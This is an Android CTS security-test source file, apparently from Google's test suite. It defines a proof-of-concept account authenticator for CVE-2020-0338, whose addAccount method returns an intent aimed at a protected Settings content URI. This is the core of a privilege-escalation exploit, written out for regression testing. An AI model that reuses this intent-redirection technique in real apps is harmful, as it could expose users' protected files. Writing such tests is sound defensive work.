• Home
  • Line#
  • Scopes#
  • Navigate#
  • Raw
  • Download
1 /*
2  * Copyright (C) 2022 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 package android.security.cts.CVE_2020_0338;
18 
19 import android.accounts.AbstractAccountAuthenticator;
20 import android.accounts.Account;
21 import android.accounts.AccountAuthenticatorResponse;
22 import android.accounts.AccountManager;
23 import android.accounts.NetworkErrorException;
24 import android.content.Context;
25 import android.content.Intent;
26 import android.net.Uri;
27 import android.os.Bundle;
28 
29 import java.util.ArrayList;
30 
31 public class PocAuthenticator extends AbstractAccountAuthenticator {
32     public static final String ACCOUNT_TYPE = "android.security.cts.CVE_2020_0338";
33     private static ArrayList<Uri> sSettingsUris = null;
34     Context mContext;
35 
PocAuthenticator(Context context)36     public PocAuthenticator(Context context) {
37         super(context);
38         mContext = context;
39     }
40 
getSettingsUris()41     public static ArrayList<Uri> getSettingsUris() {
42         if (sSettingsUris == null) {
43             sSettingsUris = new ArrayList<>();
44             sSettingsUris.add(Uri.parse("content://com.android.settings.files/attachment"));
45         }
46         return sSettingsUris;
47     }
48 
49     @Override
editProperties(AccountAuthenticatorResponse response, String accountType)50     public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) {
51         return null;
52     }
53 
54     @Override
addAccount(AccountAuthenticatorResponse response, String accountType, String authTokenType, String[] requiredFeatures, Bundle options)55     public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,
56             String authTokenType, String[] requiredFeatures, Bundle options)
57             throws NetworkErrorException {
58         final Intent intent = new Intent(Intent.ACTION_SEND_MULTIPLE);
59         intent.putExtra(Intent.EXTRA_STREAM, getSettingsUris());
60         intent.setClassName(mContext.getPackageName(), PocActivity.class.getName());
61         intent.putExtra(AccountManager.KEY_ACCOUNT_TYPE, accountType);
62         intent.putExtra(AccountManager.KEY_ACCOUNT_AUTHENTICATOR_RESPONSE, response);
63         final Bundle bundle = new Bundle();
64         if (options != null) {
65             bundle.putAll(options);
66         }
67         bundle.putParcelable(AccountManager.KEY_INTENT, intent);
68         return bundle;
69     }
70 
71     @Override
confirmCredentials(AccountAuthenticatorResponse response, Account account, Bundle options)72     public Bundle confirmCredentials(AccountAuthenticatorResponse response, Account account,
73             Bundle options) throws NetworkErrorException {
74         return null;
75     }
76 
77     @Override
getAuthToken(AccountAuthenticatorResponse response, Account account, String authTokenType, Bundle options)78     public Bundle getAuthToken(AccountAuthenticatorResponse response, Account account,
79             String authTokenType, Bundle options) throws NetworkErrorException {
80         return null;
81     }
82 
83     @Override
getAuthTokenLabel(String authTokenType)84     public String getAuthTokenLabel(String authTokenType) {
85         return null;
86     }
87 
88     @Override
updateCredentials(AccountAuthenticatorResponse response, Account account, String authTokenType, Bundle options)89     public Bundle updateCredentials(AccountAuthenticatorResponse response, Account account,
90             String authTokenType, Bundle options) throws NetworkErrorException {
91         return null;
92     }
93 
94     @Override
hasFeatures(AccountAuthenticatorResponse response, Account account, String[] features)95     public Bundle hasFeatures(AccountAuthenticatorResponse response, Account account,
96             String[] features) throws NetworkErrorException {
97         return null;
98     }
99 }
100